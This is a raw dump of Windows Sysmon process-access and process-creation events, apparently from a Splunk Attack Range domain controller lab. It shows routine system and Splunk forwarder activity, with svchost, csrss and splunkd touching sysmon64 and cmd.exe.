09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6600-000000007F01}3764C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6600-000000007F01}3764C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.780{A5F018FF-28D4-5F80-6600-000000007F01}3764C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6500-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6500-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.668{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6500-000000007F01}3840C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.670{A5F018FF-28D4-5F80-6500-000000007F01}3840C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6400-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 